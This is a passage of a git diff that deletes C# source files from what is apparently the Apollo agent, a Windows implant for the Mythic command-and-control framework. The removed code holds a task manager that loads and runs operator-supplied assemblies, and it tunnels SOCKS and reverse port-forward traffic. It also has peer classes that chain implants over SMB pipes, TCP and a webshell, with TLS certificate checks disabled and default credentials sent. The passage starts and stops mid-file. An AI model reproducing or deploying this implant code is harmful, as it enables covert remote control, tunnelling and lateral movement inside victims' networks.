0x00, - }; - _agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram() - { - ServerID = ID, - Data = Convert.ToBase64String(unsupportedCmd), - Exit = true - }); - break; - } - } - } - return bRet; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Socks/SocksManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Socks/SocksManager.cs deleted file mode 100644 index de0a455f..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Socks/SocksManager.cs +++ /dev/null @@ -1,41 +0,0 @@ -using AI = ApolloInterop; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Collections.Concurrent; - -namespace Apollo.Management.Socks -{ - public class SocksManager : AI.Classes.SocksManager - { - private ConcurrentDictionary _connections = new ConcurrentDictionary(); - - public SocksManager(IAgent agent) : base(agent) - { - - } - - public override bool Route(SocksDatagram dg) - { - if (!_connections.ContainsKey(dg.ServerID)) - { - if (!dg.Exit) - { - SocksClient c = new SocksClient(_agent, dg.ServerID); - _connections.AddOrUpdate(c.ID, c, (int i, SocksClient d) => { return d; }); - } else { return dg.Exit; } - } - if (dg.Exit) - { - _connections[dg.ServerID].Exit(); - return dg.Exit; - } - return _connections[dg.ServerID].HandleDatagram(dg); - } - - public override bool Remove(int id) - { - _connections[id].Exit(); - return _connections.TryRemove(id, out SocksClient _); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Tasks/TaskManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Tasks/TaskManager.cs deleted file mode 100644 index 5e37bb83..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Tasks/TaskManager.cs +++ /dev/null @@ -1,322 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Collections.Concurrent; -using ApolloInterop.Interfaces; -using ApolloInterop.Types.Delegates; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Enums.ApolloEnums; -using ApolloInterop.Classes; -using System.Threading; -using System.Threading.Tasks; -using System.Reflection; -using ApolloInterop.Classes.Collections; -using ApolloInterop.Utils; - -namespace Apollo.Management.Tasks -{ - public class TaskManager : ITaskManager - { - protected IAgent _agent; - - private ThreadSafeList TaskResponseList = new(); - private ThreadSafeList DelegateMessages = new(); - //private ConcurrentQueue DelegateMessages = new ConcurrentQueue(); - - private Dictionary> SocksDatagramQueue = new() - { - { MessageDirection.ToMythic, new ConcurrentQueue() }, - { MessageDirection.FromMythic, new ConcurrentQueue() } - }; - private Dictionary> RpfwdDatagramQueue = new() - { - { MessageDirection.ToMythic, new ConcurrentQueue() }, - { MessageDirection.FromMythic, new ConcurrentQueue() } - }; - - private ConcurrentDictionary _runningTasks = new(); - - private ConcurrentDictionary _loadedTaskTypes = new(); - - private ConcurrentQueue TaskQueue = new(); - private ConcurrentQueue TaskStatusQueue = new(); - private Action _taskConsumerAction; - private Task _mainworker; - private Assembly _tasksAsm = null; - - public TaskManager(IAgent agent) - { - _agent = agent; - InitializeTaskLibrary(); - _taskConsumerAction = () => - { - while(_agent.IsAlive()) - { - if (TaskQueue.TryDequeue(out MythicTask result)) - { - if (!_loadedTaskTypes.ContainsKey(result.Command)) - { - AddTaskResponseToQueue(new MythicTaskResponse() - { - UserOutput = $"Task '{result.Command}' not loaded.", - TaskID = result.ID, - Completed = true, - Status = "error" - }); - } - else - { - try - { - Tasking t = (Tasking) Activator.CreateInstance( - _loadedTaskTypes[result.Command], - new object[] {_agent, result}); - var taskObj = t.CreateTasking(); - // When the task finishes, we remove it from the queue. - taskObj.ContinueWith((_) => { _runningTasks.TryRemove(t.ID(), out Tasking _); }); - // Unhandled exception occurred in task, report it. - taskObj.ContinueWith((_) => { OnTaskErrorOrCancel(t, taskObj); }, - System.Threading.Tasks.TaskContinuationOptions.OnlyOnFaulted); - // If it got cancelled and threw an exception of that type, - // report it. - taskObj.ContinueWith((_) => { OnTaskErrorOrCancel(t, taskObj); }, - System.Threading.Tasks.TaskContinuationOptions.OnlyOnCanceled); - _runningTasks.TryAdd(t.ID(), t); - taskObj.Start(); - } - catch (Exception ex) - { - AddTaskResponseToQueue(new MythicTaskResponse() - { - UserOutput = $"Unexpected error during create and execute: {ex.Message}\n{ex.StackTrace}", - TaskID = result.ID, - Completed = true, - Status = "error" - }); - } - } - - } - else - { - Thread.Sleep(100); - } - } - }; - _mainworker = new Task(_taskConsumerAction); - _mainworker.Start(); - } - - private void InitializeTaskLibrary() - { - // Annoying note - if there's an assembly in the Tasks DLL that isn't in the Apollo - // reference assemblies, then you'll run into loading errors. - _tasksAsm = Assembly.Load("Tasks, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"); - if (_tasksAsm == null) - { - throw new Exception("Could not find loaded tasks assembly."); - } - foreach(Type t in _tasksAsm.GetTypes()) - { - if (t.FullName.StartsWith("Tasks.") && - t.IsPublic && - t.IsClass && - t.IsVisible) - { - string commandName = t.FullName.Split('.')[1]; - _loadedTaskTypes[commandName] = t; - } - } - } - - public bool LoadTaskModule(byte[] taskAsm, string[] commands) - { - bool bRet = false; - - Assembly taskingAsm = Assembly.Load(taskAsm); - Dictionary foundCmds = new Dictionary(); - foreach(Type t in taskingAsm.GetExportedTypes()) - { - if (commands.Contains(t.Name)) - { - foundCmds[t.Name] = t; - } - } - if (foundCmds.Keys.Count != commands.Length) - { - bRet = false; - } - else - { - foreach(string k in foundCmds.Keys) - { - _loadedTaskTypes[k] = foundCmds[k]; - } - bRet = true; - } - - return bRet; - } - - private void OnTaskErrorOrCancel(Tasking t, System.Threading.Tasks.Task taskObj) - { - string aggregateError = ""; - if (taskObj.Exception != null) - { - foreach (Exception e in taskObj.Exception.InnerExceptions) - { - aggregateError += $"Unhandled exception: {e}\n\n"; - } - } else if (taskObj.IsCanceled) - { - aggregateError = "Task cancelled."; - } - else - { - aggregateError = "Unhandled and unknown error occured."; - } - var msg = t.CreateTaskResponse(aggregateError, true, "error"); - AddTaskResponseToQueue(msg); - } - - public void AddTaskResponseToQueue(MythicTaskResponse message) - { - TaskResponseList.Add(message); - } - - public void AddDelegateMessageToQueue(DelegateMessage delegateMessage) - { - DelegateMessages.Add(delegateMessage); - } - - public void AddSocksDatagramToQueue(MessageDirection direction, SocksDatagram dg) - { - SocksDatagramQueue[direction].Enqueue(dg); - } - public void AddRpfwdDatagramToQueue(MessageDirection direction, SocksDatagram dg) - { - RpfwdDatagramQueue[direction].Enqueue(dg); - } - - - public bool ProcessMessageResponse(MessageResponse resp) - { - if (resp.SocksDatagrams != null) - { - new Thread(() => - { - foreach(SocksDatagram dg in resp.SocksDatagrams) - { - _agent.GetSocksManager().Route(dg); - } - }).Start(); - } - if (resp.RpfwdDatagrams != null) - { - new Thread(() => - { - foreach (SocksDatagram dg in resp.RpfwdDatagrams) - { - _agent.GetRpfwdManager().Route(dg); - } - }).Start(); - } - - if (resp.Tasks != null && resp.Tasks.Length > 0) - { - new Thread(() => - { - foreach(MythicTask t in resp.Tasks) - { - TaskQueue.Enqueue(t); - } - }).Start(); - } - if (resp.Responses != null && resp.Responses.Length > 0) - { - foreach(MythicTaskStatus t in resp.Responses) - { - if (_agent.GetFileManager().GetPendingTransfers().Contains(t.ApolloTrackerUUID)) - { - _agent.GetFileManager().ProcessResponse(t); - } - } - } - if (resp.Delegates != null && resp.Delegates.Length > 0) - { - foreach(DelegateMessage d in resp.Delegates) - { - _agent.GetPeerManager().Route(d); - } - } - - return true; - } - - public bool CreateTaskingMessage(OnResponse onResponse) - { - // We should pop messages from the task manager and stuff them into - // this message here. - - //List responses = new List(); - //List delegates = new List(); - List dgs = new List(); - List rpfwdDgs = new List(); - List edgs = new List(); - //while(TaskResponseQueue.TryDequeue(out TaskResponse res)) - //{ - // responses.Add(res); - //} - - //while(DelegateMessages.TryDequeue(out var res)) - //{ - // delegates.Add(res); - //} - - while(SocksDatagramQueue[MessageDirection.ToMythic].TryDequeue(out var dg)) - { - dgs.Add(dg); - } - while (RpfwdDatagramQueue[MessageDirection.ToMythic].TryDequeue(out var dg)) - { - DebugHelp.DebugWriteLine($"got rpfwd datagram to go to mythic: {dg.ServerID}"); - rpfwdDgs.Add(dg); - } - - TaskingMessage msg = new TaskingMessage() - { - Action = MessageAction.GetTasking.ToString(), - TaskingSize = -1, - Delegates = DelegateMessages.Flush(), - Responses = TaskResponseList.Flush(), - Socks = dgs.ToArray(), - Rpfwd = rpfwdDgs.ToArray(), - Edges = edgs.ToArray() - }; - return onResponse(msg); - } - - public string[] GetExecutingTaskIds() - { - return _runningTasks.Keys.ToArray(); - } - - public bool CancelTask(string taskId) - { - if (_runningTasks.TryGetValue(taskId, out Tasking t)) - { - try - { - t.Kill(); - return true; - } catch - { - return false; - } - } else - { - return false; - } - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Peers/SMB/SMBPeer.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Peers/SMB/SMBPeer.cs deleted file mode 100644 index 72a317b3..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Peers/SMB/SMBPeer.cs +++ /dev/null @@ -1,253 +0,0 @@ -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.IO.Pipes; -using System.Linq; -using System.Text; -using AI = ApolloInterop; -using AS = ApolloInterop.Structs.ApolloStructs; -using TTasks = System.Threading.Tasks; -using ApolloInterop.Classes.Core; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Utils; -using ApolloInterop.Constants; - -namespace Apollo.Peers.SMB -{ - public class SMBPeer : AI.Classes.P2P.Peer - { - private AsyncNamedPipeClient _pipeClient = null; - private PipeStream _pipe = null; - private Action _sendAction; - private TTasks.Task _sendTask; - private UInt32 _currentMessageSize = 0; - private UInt32 _currentMessageChunkNum = 0; - private UInt32 _currentMessageTotalChunks = 0; - private bool _currentMessageReadAllMetadata = false; - private string _currentMessageID = Guid.NewGuid().ToString(); - private Byte[] _partialData = []; - private int chunkSize = IPC.SEND_SIZE; - - public SMBPeer(IAgent agent, PeerInformation info) : base(agent, info) - { - C2ProfileName = "smb"; - _pipeClient = new AsyncNamedPipeClient(info.Hostname, info.C2Profile.Parameters.PipeName); - _pipeClient.ConnectionEstablished += OnConnect; - _pipeClient.MessageReceived += OnMessageReceived; - _pipeClient.Disconnect += OnDisconnect; - _sendAction = (object p) => - { - PipeStream ps = (PipeStream)p; - while (ps.IsConnected && !_cts.IsCancellationRequested) - { - // Check queue before waiting to avoid race condition - if (_senderQueue.IsEmpty) - { - _senderEvent.WaitOne(); - } - - while (!_senderQueue.IsEmpty && !_cts.IsCancellationRequested && ps.IsConnected) - { - if (!_cts.IsCancellationRequested && ps.IsConnected && _senderQueue.TryDequeue(out byte[] result)) - { - UInt32 totalChunksToSend = (UInt32)(result.Length / chunkSize) + 1; - DebugHelp.DebugWriteLine($"have {totalChunksToSend} chunks to send out"); - byte[] totalChunkBytes = BitConverter.GetBytes(totalChunksToSend); - Array.Reverse(totalChunkBytes); - for (UInt32 currentChunk = 0; currentChunk < totalChunksToSend; currentChunk++) - { - byte[] chunkData; - if ((currentChunk + 1) * chunkSize > result.Length) - { - chunkData = new byte[result.Length - (currentChunk * chunkSize)]; - } - else - { - chunkData = new byte[chunkSize]; - } - Array.Copy(result, currentChunk * chunkSize, chunkData, 0, chunkData.Length); - byte[] sizeBytes = BitConverter.GetBytes((UInt32)chunkData.Length + 8); - Array.Reverse(sizeBytes); - byte[] currentChunkBytes = BitConverter.GetBytes(currentChunk); - Array.Reverse(currentChunkBytes); - DebugHelp.DebugWriteLine($"sending chunk {currentChunk}/{totalChunksToSend} with size {chunkData.Length + 8}"); - ps.BeginWrite(sizeBytes, 0, sizeBytes.Length, OnAsyncMessageSent, p); - ps.BeginWrite(totalChunkBytes, 0, totalChunkBytes.Length, OnAsyncMessageSent, p); - ps.BeginWrite(currentChunkBytes, 0, currentChunkBytes.Length, OnAsyncMessageSent, p); - ps.BeginWrite(chunkData, 0, chunkData.Length, OnAsyncMessageSent, p); - } - DebugHelp.DebugWriteLine($"finished sending data from _senderQueue"); - //ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p); - } - } - } - }; - } - - - public void OnAsyncMessageSent(IAsyncResult result) - { - PipeStream pipe = (PipeStream)result.AsyncState; - // Potentially delete this since theoretically the sender Task does everything - if (pipe.IsConnected && !_cts.IsCancellationRequested) - { - try { - pipe.EndWrite(result); - }catch(Exception ex){ - DebugHelp.DebugWriteLine($"failed to write to pipe: {ex}"); - _cts.Cancel(); - } - } - } - - public override bool Connected() - { - return _pipe.IsConnected; - } - - public override bool Finished() - { - return _previouslyConnected && !_pipe.IsConnected; - } - - public void OnConnect(object sender, NamedPipeMessageArgs args) - { - _pipe = args.Pipe; - OnConnectionEstablished(sender, args); - _sendTask = new TTasks.Task(_sendAction, args.Pipe); - _sendTask.Start(); - _previouslyConnected = true; - } - - public void OnDisconnect(object sender, NamedPipeMessageArgs args) - { - _cts.Cancel(); - args.Pipe.Close(); - _senderEvent.Set(); - if(_sendTask != null){ - _sendTask.Wait(); - } - base.OnDisconnect(this, args); - } - - public void OnMessageReceived(object sender, NamedPipeMessageArgs args) - { - Byte[] sData = args.Data.Data.Take(args.Data.DataLength).ToArray(); - while (sData.Length > 0) - { - if (_currentMessageSize == 0) - { - // This means we're looking at the start of a new message - if (sData.Length < 4) - { - // we didn't even get enough for a size - - } - else - { - Byte[] messageSizeBytes = sData.Take(4).ToArray(); - sData = sData.Skip(4).ToArray(); - Array.Reverse(messageSizeBytes); - _currentMessageSize = BitConverter.ToUInt32(messageSizeBytes, 0) - 8; - continue; - } - } - if (_currentMessageTotalChunks == 0) - { - // This means we're looking at the start of a new message - if (sData.Length < 4) - { - // we didn't even get enough for a size - - } - else - { - Byte[] messageSizeBytes = sData.Take(4).ToArray(); - sData = sData.Skip(4).ToArray(); - Array.Reverse(messageSizeBytes); - _currentMessageTotalChunks = BitConverter.ToUInt32(messageSizeBytes, 0); - continue; - } - } - if (_currentMessageChunkNum == 0 && !_currentMessageReadAllMetadata) - { - // This means we're looking at the start of a new message - if (sData.Length < 4) - { - // we didn't even get enough for a size - - } - else - { - Byte[] messageSizeBytes = sData.Take(4).ToArray(); - sData = sData.Skip(4).ToArray(); - Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian? - _currentMessageChunkNum = BitConverter.ToUInt32(messageSizeBytes, 0) + 1; - _currentMessageReadAllMetadata = true; - continue; - } - - } - // try to read up to the remaining number of bytes - if (_partialData.Length + sData.Length > _currentMessageSize) - { - // we potentially have this message and the next data in the pipeline - byte[] nextData = sData.Take((int)_currentMessageSize - _partialData.Length).ToArray(); - _partialData = [.. _partialData, .. nextData]; - sData = sData.Skip(nextData.Length).ToArray(); - - } - else - { - // we don't enough enough data to max out the current message size, so take it all - _partialData = [.. _partialData, .. sData]; - sData = sData.Skip(sData.Length).ToArray(); - } - if (_partialData.Length == _currentMessageSize) - { - DebugHelp.DebugWriteLine($"got chunk {_currentMessageChunkNum}/{_currentMessageTotalChunks} with size {_currentMessageSize + 8}"); - UnwrapMessage(); - _currentMessageSize = 0; - _currentMessageChunkNum = 0; - _currentMessageTotalChunks = 0; - _currentMessageReadAllMetadata = false; - } - } - } - - private void UnwrapMessage() - { - AS.IPCChunkedData chunkedData = new(id: _currentMessageID, chunkNum: (int)_currentMessageChunkNum, totalChunks: (int)_currentMessageTotalChunks, data: _partialData.Take(_partialData.Length).ToArray()); - _partialData = []; - lock (_messageOrganizer) - { - if (!_messageOrganizer.ContainsKey(chunkedData.ID)) - { - _messageOrganizer[chunkedData.ID] = new ChunkedMessageStore(); - _messageOrganizer[chunkedData.ID].MessageComplete += DeserializeToReceiver; - } - } - _messageOrganizer[chunkedData.ID].AddMessage(chunkedData); - if (_currentMessageChunkNum == _currentMessageTotalChunks) - { - _currentMessageID = Guid.NewGuid().ToString(); - } - } - - public override bool Start() - { - return _pipeClient.Connect(5000); - } - - public override void Stop() - { - if(_pipe != null){ - _pipe.Close(); - } - if(_sendTask != null){ - _sendTask.Wait(); - } - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Peers/TCP/TCPPeer.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Peers/TCP/TCPPeer.cs deleted file mode 100644 index 3eab181c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Peers/TCP/TCPPeer.cs +++ /dev/null @@ -1,247 +0,0 @@ -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Linq; -using System.Text; -using AI = ApolloInterop; -using AS = ApolloInterop.Structs.ApolloStructs; -using TTasks = System.Threading.Tasks; -using System.Net.Sockets; -using ApolloInterop.Classes.Api; -using ApolloInterop.Classes.Core; -using System.Xml.Linq; -using ApolloInterop.Utils; -using ApolloInterop.Structs.ApolloStructs; -using System.Net; - -namespace Apollo.Peers.TCP -{ - public class TCPPeer : AI.Classes.P2P.Peer - { - private AsyncTcpClient _tcpClient = null; - private Action _sendAction; - private TTasks.Task _sendTask; - private bool _connected = false; - private int chunkSize = AI.Constants.IPC.SEND_SIZE; - private UInt32 _currentMessageSize = 0; - private UInt32 _currentMessageChunkNum = 0; - private UInt32 _currentMessageTotalChunks = 0; - private bool _currentMessageReadAllMetadata = false; - private string _currentMessageID = Guid.NewGuid().ToString(); - private Byte[] _partialData = []; - //private IntPtr _socketHandle = IntPtr.Zero; - private Socket _client; - private delegate void CloseHandle(IntPtr handle); - //private CloseHandle _pCloseHandle; - - public TCPPeer(IAgent agent, PeerInformation info) : base(agent, info) - { - C2ProfileName = "tcp"; - _tcpClient = new AsyncTcpClient(info.Hostname, info.C2Profile.Parameters.Port); - _tcpClient.ConnectionEstablished += OnConnect; - _tcpClient.MessageReceived += OnMessageReceived; - _tcpClient.Disconnect += OnDisconnect; - //_pCloseHandle = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CloseHandle"); - _sendAction = (object p) => - { - TcpClient c = (TcpClient)p; - while (c.Connected && !_cts.IsCancellationRequested) - { - // Check queue before waiting to avoid race condition - if (_senderQueue.IsEmpty) - { - _senderEvent.WaitOne(); - } - while(!_senderQueue.IsEmpty && !_cts.IsCancellationRequested && c.Connected) - { - if (!_cts.IsCancellationRequested && c.Connected && _senderQueue.TryDequeue(out byte[] result)) - { - UInt32 totalChunksToSend = (UInt32)(result.Length / chunkSize) + 1; - DebugHelp.DebugWriteLine($"have {totalChunksToSend} chunks to send out"); - byte[] totalChunkBytes = BitConverter.GetBytes(totalChunksToSend); - Array.Reverse(totalChunkBytes); - for(UInt32 currentChunk = 0; currentChunk < totalChunksToSend; currentChunk++) - { - byte[] chunkData; - if ( (currentChunk + 1) * chunkSize > result.Length) - { - chunkData = new byte[result.Length - (currentChunk * chunkSize)]; - } else - { - chunkData = new byte[chunkSize]; - } - Array.Copy(result, currentChunk * chunkSize, chunkData, 0, chunkData.Length); - byte[] sizeBytes = BitConverter.GetBytes((UInt32)chunkData.Length + 8); - Array.Reverse(sizeBytes); - byte[] currentChunkBytes = BitConverter.GetBytes(currentChunk); - Array.Reverse(currentChunkBytes); - DebugHelp.DebugWriteLine($"sending chunk {currentChunk}/{totalChunksToSend} with size {chunkData.Length + 8}"); - c.GetStream().BeginWrite(sizeBytes, 0, sizeBytes.Length, OnAsyncMessageSent, p); - c.GetStream().BeginWrite(totalChunkBytes, 0, totalChunkBytes.Length, OnAsyncMessageSent, p); - c.GetStream().BeginWrite(currentChunkBytes, 0, currentChunkBytes.Length, OnAsyncMessageSent, p); - c.GetStream().BeginWrite(chunkData, 0, chunkData.Length, OnAsyncMessageSent, p); - } - DebugHelp.DebugWriteLine($"finished sending data from _senderQueue"); - } - } - } - }; - } - - public void OnAsyncMessageSent(IAsyncResult result) - { - TcpClient client = (TcpClient)result.AsyncState; - if (client.Connected && !_cts.IsCancellationRequested) - { - client.GetStream().EndWrite(result); - } - } - - public override bool Connected() - { - return _connected; - } - - public override bool Finished() - { - return _previouslyConnected && !_connected; - } - - public void OnConnect(object sender, TcpMessageEventArgs args) - { - args.State = this; - OnConnectionEstablished(sender, args); - _sendTask = new TTasks.Task(_sendAction, args.Client); - _sendTask.Start(); - _connected = true; - _previouslyConnected = true; - _client = args.Client.Client; - } - - public void OnDisconnect(object sender, TcpMessageEventArgs args) - { - _cts.Cancel(); - args.Client.Close(); - _senderEvent.Set(); - if(_sendTask != null){ - _sendTask.Wait(); - } - _connected = false; - base.OnDisconnect(this, args); - } - - public void OnMessageReceived(object sender, TcpMessageEventArgs args) - { - Byte[] sData = args.Data.Data.Take(args.Data.DataLength).ToArray(); - while (sData.Length > 0) - { - if (_currentMessageSize == 0) - { - // This means we're looking at the start of a new message - if (sData.Length < 4) - { - // we didn't even get enough for a size - - } else - { - Byte[] messageSizeBytes = sData.Take(4).ToArray(); - sData = sData.Skip(4).ToArray(); - Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian? - _currentMessageSize = BitConverter.ToUInt32(messageSizeBytes, 0) - 8; - continue; - } - } - if (_currentMessageTotalChunks == 0) - { - // This means we're looking at the start of a new message - if (sData.Length < 4) - { - // we didn't even get enough for a size - - } - else - { - Byte[] messageSizeBytes = sData.Take(4).ToArray(); - sData = sData.Skip(4).ToArray(); - Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian? - _currentMessageTotalChunks = BitConverter.ToUInt32(messageSizeBytes, 0); - continue; - } - } - if(_currentMessageChunkNum == 0 && !_currentMessageReadAllMetadata) - { - // This means we're looking at the start of a new message - if (sData.Length < 4) - { - // we didn't even get enough for a size - - } - else - { - Byte[] messageSizeBytes = sData.Take(4).ToArray(); - sData = sData.Skip(4).ToArray(); - Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian? - _currentMessageChunkNum = BitConverter.ToUInt32(messageSizeBytes, 0) + 1; - _currentMessageReadAllMetadata = true; - continue; - } - - } - // try to read up to the remaining number of bytes - if (_partialData.Length + sData.Length > _currentMessageSize) - { - // we potentially have this message and the next data in the pipeline - byte[] nextData = sData.Take((int)_currentMessageSize - _partialData.Length).ToArray(); - _partialData = [.. _partialData, .. nextData]; - sData = sData.Skip(nextData.Length).ToArray(); - - } else - { - // we don't enough enough data to max out the current message size, so take it all - _partialData = [.. _partialData, .. sData]; - sData = sData.Skip(sData.Length).ToArray(); - } - if (_partialData.Length == _currentMessageSize) - { - DebugHelp.DebugWriteLine($"got chunk {_currentMessageChunkNum}/{_currentMessageTotalChunks} with size {_currentMessageSize + 8}"); - UnwrapMessage(); - _currentMessageSize = 0; - _currentMessageChunkNum = 0; - _currentMessageTotalChunks = 0; - _currentMessageReadAllMetadata = false; - } - } - } - - private void UnwrapMessage() - { - AS.IPCChunkedData chunkedData = new (id: _currentMessageID, chunkNum: (int)_currentMessageChunkNum, totalChunks: (int)_currentMessageTotalChunks, data: _partialData.Take(_partialData.Length).ToArray()); - _partialData = []; - lock (_messageOrganizer) - { - if (!_messageOrganizer.ContainsKey(chunkedData.ID)) - { - _messageOrganizer[chunkedData.ID] = new ChunkedMessageStore(); - _messageOrganizer[chunkedData.ID].MessageComplete += DeserializeToReceiver; - } - } - _messageOrganizer[chunkedData.ID].AddMessage(chunkedData); - if (_currentMessageChunkNum == _currentMessageTotalChunks) - { - _currentMessageID = Guid.NewGuid().ToString(); - } - } - - public override bool Start() - { - return _tcpClient.Connect(); - } - - public override void Stop() - { - _cts.Cancel(); // should then hit the OnDisconnect which does all the cleanup - _client?.Close(); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Peers/Webshell/WebshellPeer.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Peers/Webshell/WebshellPeer.cs deleted file mode 100644 index 709d093c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Peers/Webshell/WebshellPeer.cs +++ /dev/null @@ -1,207 +0,0 @@ -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.IO.Pipes; -using System.Linq; -using System.Text; -using AI = ApolloInterop; -using AS = ApolloInterop.Structs.ApolloStructs; -using TTasks = System.Threading.Tasks; -using ApolloInterop.Classes.Core; -using ApolloInterop.Structs.ApolloStructs; -using Tasks; -using ApolloInterop.Utils; -using System.Net; -using System.IO; -using System.Security.Policy; -using ApolloInterop.Types.Delegates; - -namespace Apollo.Peers.Webshell -{ - public class WebshellPeer : AI.Classes.P2P.Peer - { - private Action _sendAction; - private TTasks.Task _sendTask; - private string _remote_url; - private string _remote_query_param; - private string _remote_cookie_name; - private string _remote_cookie_value; - private string _remote_agent_id; - private string _remote_user_agent; - - public WebshellPeer(IAgent agent, PeerInformation info) : base(agent, info) - { - C2ProfileName = "webshell"; - _remote_agent_id = info.CallbackUUID; - _mythicUUID = info.CallbackUUID; - _remote_url = info.C2Profile.Parameters.WebshellURL; - _remote_query_param = info.C2Profile.Parameters.WebshellQueryParam; - _remote_cookie_name = info.C2Profile.Parameters.WebshellCookieName; - _remote_cookie_value = info.C2Profile.Parameters.WebshellCookieValue; - _remote_user_agent = info.C2Profile.Parameters.WebshellUserAgent; - _sendAction = () => - { - _mythicUUID = info.CallbackUUID; - OnUUIDNegotiated(this, new UUIDEventArgs(info.CallbackUUID)); - // Disable certificate validation on web requests - ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; - ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; - while (!_cts.IsCancellationRequested) - { - _senderEvent.WaitOne(); - if (!_cts.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] result)) - { - string data = Encoding.UTF8.GetString(result); - //DebugHelp.DebugWriteLine($"Got data to send: {data}, _sendAction in WebshellPeer, to {_mythicUUID} from {_uuid}"); - Send(data); - } - } - }; - } - - private void Send(string data) - { - WebClient webClient = new WebClient(); - // Use Default Proxy and Cached Credentials for Internet Access - webClient.Proxy = WebRequest.GetSystemWebProxy(); - webClient.Proxy.Credentials = CredentialCache.DefaultCredentials; - webClient.Headers.Add("User-Agent", _remote_user_agent); - //webClient.BaseAddress = _remote_url; - webClient.Headers.Add(HttpRequestHeader.Cookie, $"{_remote_cookie_name}={_remote_cookie_value}"); - if (data.Length > 4000) - { - // do a POST - try - { - //DebugHelp.DebugWriteLine($"Sending POST to {_remote_url}"); - var response = webClient.UploadString(_remote_url, data); - Recv(response, ""); - } - catch (Exception ex) - { - Recv("", ex.Message); - } - } else - { - // do a GET - string QueryURL = _remote_url; - if (QueryURL.Contains("?")) - { - QueryURL += "&" + _remote_query_param + "=" + Uri.EscapeDataString(data); - } else - { - QueryURL += "?" + _remote_query_param + "=" + Uri.EscapeDataString(data); - } - try - { - //DebugHelp.DebugWriteLine($"Sending GET to {QueryURL}"); - using (var stream = webClient.OpenRead(QueryURL)) - { - using (var streamReader = new StreamReader(stream)) - { - var result = streamReader.ReadToEnd(); - Recv(result, ""); - } - } - } - catch(Exception ex) - { - Recv("", ex.Message); - } - } - - } - private void Recv(string data, string error_message) - { - //DebugHelp.DebugWriteLine($"got response: {data} - {error_message}"); - if (error_message.Length > 0) - { - return; - } - if (data.StartsWith("")) - { - string response = data.Replace("", "").Replace("", ""); - if (response.Length == 0) - { - return; - } - byte[] raw = Convert.FromBase64String(response); - byte[] mythic_uuid_bytes = Encoding.UTF8.GetBytes(_mythicUUID); - byte[] final_bytes = new byte[raw.Length + mythic_uuid_bytes.Length]; - Array.Copy(mythic_uuid_bytes, final_bytes, mythic_uuid_bytes.Length); - Array.Copy(raw, 0, final_bytes, mythic_uuid_bytes.Length, raw.Length); - string final_response = Convert.ToBase64String(final_bytes); - //DebugHelp.DebugWriteLine($"got final response: {final_response}"); - _agent.GetTaskManager().AddDelegateMessageToQueue(new DelegateMessage() - { - MythicUUID = _mythicUUID, - UUID = _uuid, - C2Profile = C2ProfileName, - Message = final_response - }); - } - } - - public override bool Connected() - { - //DebugHelp.DebugWriteLine($"checking if Connected()"); - return true; - } - - public override bool Finished() - { - //DebugHelp.DebugWriteLine($"checking if Finished()"); - return false; - } - - public override bool Start() - { - //DebugHelp.DebugWriteLine($"Start()"); - WebClient webClient = new WebClient(); - // Use Default Proxy and Cached Credentials for Internet Access - webClient.Proxy = WebRequest.GetSystemWebProxy(); - webClient.Proxy.Credentials = CredentialCache.DefaultCredentials; - webClient.Headers.Add("User-Agent", _remote_user_agent); - //webClient.BaseAddress = _remote_url; - webClient.Headers.Add(HttpRequestHeader.Cookie, $"{_remote_cookie_name}={_remote_cookie_value}"); - string QueryURL = _remote_url; - if (QueryURL.Contains("?")) - { - QueryURL += "&" + _remote_query_param + "="; - } else - { - QueryURL += "?" + _remote_query_param + "="; - } - try - { - //DebugHelp.DebugWriteLine($"Sending GET to {QueryURL}"); - using (var stream = webClient.OpenRead(QueryURL)) - { - using (var streamReader = new StreamReader(stream)) - { - streamReader.ReadToEnd(); - } - } - _sendTask = new TTasks.Task(_sendAction); - _sendTask.Start(); - return true; - } - catch(Exception ex) - { - throw ex; - } - } - - public override void Stop() - { - //DebugHelp.DebugWriteLine($"Stop()"); - _cts.Cancel(); - _senderEvent.Set(); - if(_sendTask != null){ - _sendTask.Wait(); - } - OnDisconnect(this, new EventArgs()); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs deleted file mode 100644 index 593aac10..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs +++ /dev/null @@ -1,110 +0,0 @@ -using System; -using ApolloInterop.Serializers; 